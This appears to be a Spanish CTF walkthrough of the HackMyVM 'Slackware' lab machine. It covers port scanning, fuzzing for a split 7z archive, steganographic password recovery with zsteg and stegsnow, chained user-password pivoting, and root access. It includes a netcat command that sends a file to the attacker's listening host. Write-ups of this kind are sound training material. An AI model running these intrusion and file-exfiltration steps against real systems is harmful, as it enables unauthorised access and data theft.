cd ~/blog

~/writeups/hmv/093-slackware.md

093 - Slackware

easy Linux hmv 03-05-2024
Multi-part 7z disclosurezsteg / stegsnow steganographyChained user password files
hackmyvm.eu/machines/machine.php?vm=Slackware

~1 min de lectura


Enumeramos puertos (servicios en puertos 1 y 2):

 sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.63.247
 nmap -sCV -p1,2 192.168.63.247
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-03 19:15 -04
Nmap scan report for 192.168.63.247
Host is up (0.00038s latency).

PORT  STATE SERVICE VERSION
1/tcp open  ssh     OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey:
|   256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_  256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open  http    Apache httpd 2.4.58 ((Unix))
|_http-title: Tribute to Slackware
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.58 (Unix)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds

Enumeramos la web; el robots.txt esconde una extensión (7z.001):

 gobuster dir -u 'http://192.168.63.247:2' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png -r
...
/getslack             (Status: 200) [Size: 12]

 cat robots.txt
User-agent: *
#7z.001

Volvemos a fuzzear /getslack con esa extensión y encontramos partes de un 7z:

 gobuster dir -u 'http://192.168.63.247:2/getslack' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,7z.001 -r
...
/twitter.7z.001       (Status: 200) [Size: 20480]
...

Descargamos todas las partes con un script (resultan ser 14):

 cat download.sh
for i in {1..100}
do
    if [ $i -lt 10 ]; then
        url="http://192.168.63.247:2/getslack/twitter.7z.00$i"
        wget $url
    elif [ $i -ge 10 ] && [ $i -lt 100 ]; then
        url="http://192.168.63.247:2/getslack/twitter.7z.0$i"
        wget $url
    else
        url="http://192.168.63.247:2/getslack/twitter.7z.$i"
        wget $url
    fi
done

El 7z contiene una imagen PNG de Patrick Volkerding; con zsteg extraemos una contraseña:

 zsteg twitter.png
...
extradata:0         .. text: "trYth1sPasS1993"
...

Iniciamos sesión por SSH (puerto 1) como patrick:

 ssh patrick@192.168.63.247 -p 1
(patrick@192.168.63.247) Password:
Linux 5.15.145.
patrick@slackware:~$

Hay muchos usuarios; cada home contiene un mypass.txt legible por el usuario "siguiente" en la cadena, así que vamos saltando de usuario en usuario:

patrick@slackware:/home$ ls | xargs ls -l 2>/dev/null
claor/:
-rw-r----- 1 claor kretinga 13 Mar 10 22:15 mypass.txt
kretinga/:
-rw-r----- 1 kretinga patrick 13 Mar 10 22:15 mypass.txt
claor@slackware:/home$ ls | xargs ls -l 2>/dev/null
alienum/:
-rw-r----- 1 alienum claor 13 Mar 10 22:15 mypass.txt
mrmidnight/:
-rw-r----- 1 mrmidnight alienum 13 Mar 10 22:15 mypass.txt
...

En el home de rpj7 encontramos la flag de usuario y un mensaje oculto en whitespaces. Lo transferimos a nuestra máquina y lo decodificamos con stegsnow:

 nc -lvp 4444 > snow_user.txt

rpj7@slackware:~$ nc -w 3 192.168.63.50 4444 < user.txt

 stegsnow -C snow_user.txt
To_Jest_Bardzo_Trudne_Haslo

Esa es la contraseña de root:

rpj7@slackware:~$ su root
Password: To_Jest_Bardzo_Trudne_Haslo
root@slackware:~# cat roo00oot.txt
There is no root flag here, but it is somewhere in the /home directory.

La flag de root está escondida en un .screenrc dentro de /home:

root@slackware:~# find /home -name "*" | xargs grep flag 2>/dev/null
/home/0xh3rshel/.screenrc:# Here is a flag for root: [redacted]

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados